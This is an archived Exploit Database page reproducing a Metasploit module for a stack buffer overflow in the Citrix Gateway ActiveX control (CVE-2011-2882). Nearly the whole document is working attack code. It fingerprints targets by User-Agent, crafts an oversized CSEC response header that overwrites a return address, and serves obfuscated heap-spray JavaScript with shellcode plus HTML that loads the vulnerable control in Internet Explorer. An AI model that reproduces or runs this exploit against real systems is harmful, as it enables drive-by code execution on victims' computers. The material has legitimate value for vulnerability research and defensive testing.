Citrix Gateway – ActiveX Control Stack Buffer Overflow (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2011-08-31
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17762/

• ##
  # $Id: citrix_gateway_actx.rb 13670 2011-08-31 00:15:46Z sinn3r $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Citrix Gateway ActiveX Control Stack Based Buffer Overflow Vulnerability',
  			'Description'=> %q{
  					This module exploits a stack based buffer overflow in the Citrix Gateway 
  				ActiveX control. Exploitation of this vulnerability requires user interaction. 
  				The victim must click a button in a dialog to begin a scan. This is typical 
  				interaction that users should be accustom to.
  
  					Exploitation results in code execution with the privileges of the user who
  				browsed to the exploit page.
  					},
  			'License'=> MSF_LICENSE,
  			'Author' => 
  				[
  					'Michal Trojnara', #Initial discovery
  					'bannedit',
  					'sinn3r',
  				],
  			'Version'=> '$Revision: 13670 $',
  			'References' =>
  				[
  					[ 'CVE','2011-2882'],
  					[ 'OSVDB', '74191' ],
  					[ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=929' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  					'InitialAutoRunScript' => 'migrate -f',
  				},
  			'Payload'=>
  				{
  					'Space'=> 500,
  					'BadChars' => "\x00\x0a\x0d\x20\x3b\x81\x83\x88\x90",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Automatic', {} ],
  					[ 'IE 6 on Windows XP SP3', { 'Ret' => 0x0c0c0c0c } ],
  					[ 'IE 7 on Windows XP SP3', { 'Ret' => 0x0c0c0b0b } ],
  					[ 'IE 7 on Windows Vista',{ 'Ret' => 0x0c0c0b0b } ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Jul 14 2011', #Coordinated public disclosure according to iDefense
  			'DefaultTarget'=> 0))
  	end
  
  	def exploit
  		@ocx = ::File.read(::File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-2882', 'nsepa.ocx'))
  		super
  	end
  
  	def get_target(request)
  		t = target
  		agent = request.headers['User-Agent']
  
  		vprint_status("User-Agent: #{agent}")
  
  		if t.name =~ /Automatic/
  			if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
  				#Win XP + IE 6
  				t = targets[1]
  			elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
  				#Win XP + IE 7
  				t = targets[2]
  			elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
  				#Win Vista + IE7
  				t = targets[2]
  			elsif agent == 'nsepa'
  				#Citrix Access Gateway requesting /epaq
  				t = agent
  			else
  				#Target not supported
  				t = nil
  			end
  		end
  
  		return t, agent
  	end
  
  	def on_request_uri(cli, request)
  		@mytarget, agent = get_target(request) if @mytarget.nil?
  		vprint_status("Client requested: #{request.uri}.")
  
  		#Target not supported, will not go on
  		if @mytarget.nil?
  			print_error("Target not supported: #{agent}")
  			send_not_found(cli)
  			return
  		end
  
  		if request.uri.match(/nsepa/)
  			print_status("Sending nsepa.ocx to #{cli.peerhost}")
  			send_response(cli, @ocx, { 'Content-Type' => 'application/binary' })
  			return
  		end
  
  		if request.uri.match(/epaq/)
  			padding = rand_text_alpha(300)
  
  			csec = "eepa_0_"
  			csec << padding[0, 259]
  			csec << [@mytarget.ret].pack('V*')
  			csec << padding[0, 68]
  
  			result = rand_text_alpha(1000)
  			send_response(cli, rand_text_alpha(30), { 'CSEC' => csec, 'RESULT' => result } )
  			@mytarget = nil
  			return
  		end
  
  		# Re-generate the payload
  		return if ((p = regenerate_payload(cli)) == nil)
  
  		# payload in JS format
  		code = Rex::Text.to_unescape(payload.encoded)
  
  		#For debugging purposes: nops.substring(0,0x534) lands the payload exactly at 0x0c0c0c0c for IE6
  		spray = <<-JS
  		var heap_lib = new heapLib.ie(0x20000);
  		var code = unescape("#{code}");
  		var nops = unescape("%u0c0c%u0c0c");
  
  		while (nops.length < 0x1000) nops += nops;
  		var offset = nops.substring(0, 0x550);
  		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  
  		while (shellcode.length < 0x20000) shellcode += shellcode;
  		var block = shellcode.substring(0, (0x10000-6)/2);
  
  		heap_lib.gc();
  
  		for (var i = 0; i < 0x6000; i++) {
  			heap_lib.alloc(block);
  		}
  		JS
  
  		spray = heaplib(spray)
  		spray = ::Rex::Exploitation::JSObfu.new(spray)
  		spray.obfuscate
  
  		load = %Q|
  		var d=document.getElementById("nsepadiv");
  		if(d) {
  			d.innerHTML=
  			'<object id="nsepa" classid="CLSID:181BCAB2-C89B-4E4B-9E6B-59FA67A426B5" '+
  			'width=1px height=1px codebase="#{get_resource}/epa/nsepa.ocx#version=8,0,59,1">' +
  			'<param name="cookie" value="0123456789abcdef0123456789abcdef">'+
  			'<param name="location" value="'+document.location+'">'+
  			'<param name="trace" value="DEBUG">'+
  			'<param name="vip" value="255.255.255.255">'+
  			'</object>';
  		} else {
  		alert('Internal Error');
  		}
  |
  		# the ret slide gets executed via call [esi+45b]
  		html = <<-EOS
  		<html>
  		<body>
  		<div id="nsepadiv"></div>
  		<script language="javascript">
  		#{spray}
  		#{load}
  		</script>
  		</body>
  		</html>
  		EOS
  
  		html = html.gsub(/^\t\t/, '')
  
  		# we need to handle direct /epaq requests
  		proc = Proc.new do |cli, req|
  			on_request_uri(cli, req)
  		end
  
  		add_resource({'Path' => "/epaq", 'Proc' => proc}) rescue nil
  		print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}")
  		send_response(cli, html, { 'Content-Type' => 'text/html' })
  	end
  end